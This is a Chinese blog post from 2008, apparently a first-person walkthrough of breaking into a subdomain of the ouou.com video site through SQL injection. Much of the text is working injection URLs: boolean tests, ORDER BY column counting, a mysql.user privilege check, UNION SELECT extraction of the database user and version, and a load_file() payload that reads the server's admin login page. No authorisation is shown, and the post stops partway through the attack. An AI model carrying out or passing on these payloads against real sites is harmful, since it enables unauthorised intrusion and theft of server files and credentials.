对偶偶娱乐分站服务器的安全检测

黑帽子大会上传出的一个工具Ferret

有点烦躁

Large | Medium | Small

[

April 23, 2008 00:18 | by ]

作者:草哲

前些日子在家无聊，去了一些视频站看看搞笑的视频啥的，听说偶偶娱乐那个站还不错，但是打开来卡的要命，视频半天也不动，郁闷！偶然间不知道点进了哪个连接，进入了一个219.238.xxx.xxx这个地址，FLASH做的还不错，呵呵！

于是到http://www.myipneighbors.com/这个站点查看一下该主机绑定了哪些域名！

这服务器上有3个站点，看看第一个xx.ouou.com吧！进去一看是一个文学站点，这速度感觉还不错，可我对文学不感兴趣，因为我只有幼本（幼儿园本科）的学历！网站程序是PHP的，习惯性的点进一个连接http://xx.ouou.com/booklook.php?id=28进去检测以下是否存在
注入漏洞！提交

http://xx.ouou.com/booklook.php?id=28 and 1=1
http://xx.ouou.com/booklook.php?id=28 and 1=2

返回了不同的页面，可以肯定的是存在注入漏洞！

检测一下mysql的版本，返回正常可以进行union查询！

http://xx.ouou.com/booklook.php?id=28 and ord(mid(version(),1,1))>51 /*

用order by检测一下数据库的字段好进行下一步的渗透！

http://xx.ouou.com/booklook.php?id=28 order by 5

直接爆出路径了，呵呵～！看来应该经典的LMAP组合了～！（linux+mysql+apache+php）

最后得出共25个字段

http://xx. uou.com/booklook.php?id=28 order by 25

字段数知道了，下面来进一步进行渗透。。。哦，对了，我们先看看这个数据库的账户有没有写的权限，如果没有我们就无法load_file()来读取文件了！可以看页面返回的结果来判断，返回正常页面说明有写的权限，呵呵。

http://xx.ouou.com/booklook.php?id=28 and (select count(*) from mysql.user)>0 /*

返回正常，我们进行下一步的渗透！上面说了，字段数已经确定是25了，好了我们来构造注入语句！

http://xx.ouou.com/booklook.php?id=28%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

返回页面如下图

检测一下具体的，数据库连接账户，数据名和数据库版本

http://xx.ouou.com/booklook.php?id=28%20and%201=2%20union%20select%201,2,database(),4,version(),6,7,user(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

MYSQL的数据库是5.0的，这样可以很方便的注入，可以像MSSQL那样的注入（小沈阳：这是为什么呢？），我在这里就不重复了，有兴趣的可以到http://www.337479.cn/read.php?40这来看！我在查询管理员账户和密码的时候废了很长时间，没有查出来，呵呵！后台我已经先找到了http://xx.ouou.com/admin，进去一看。。。

开始以为是本地验证的机制呢。。。因为数据库连接账户有写的权限，可以load_file()来读取本地文件！上面不是说已经把路径爆出来了吗，咱就来先爆一下后台登录的页面
/data/webroot/xx/admin/index.php
构造的语句如下，load_file(char(文件路径的ascii值，用逗号隔开))也可以用十六进制！我们这里把它插入到5

http://zh.ouou.com/booklook.php?id=28%20and%201=2%20union%20select%201,2,3,4,load_file(char(47,100,97,116,97,47,119,101,98,114,111,111,116,47,122,104,47,97,100,109,105,110,47,105,110,100,101,120,46,112,104,112)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*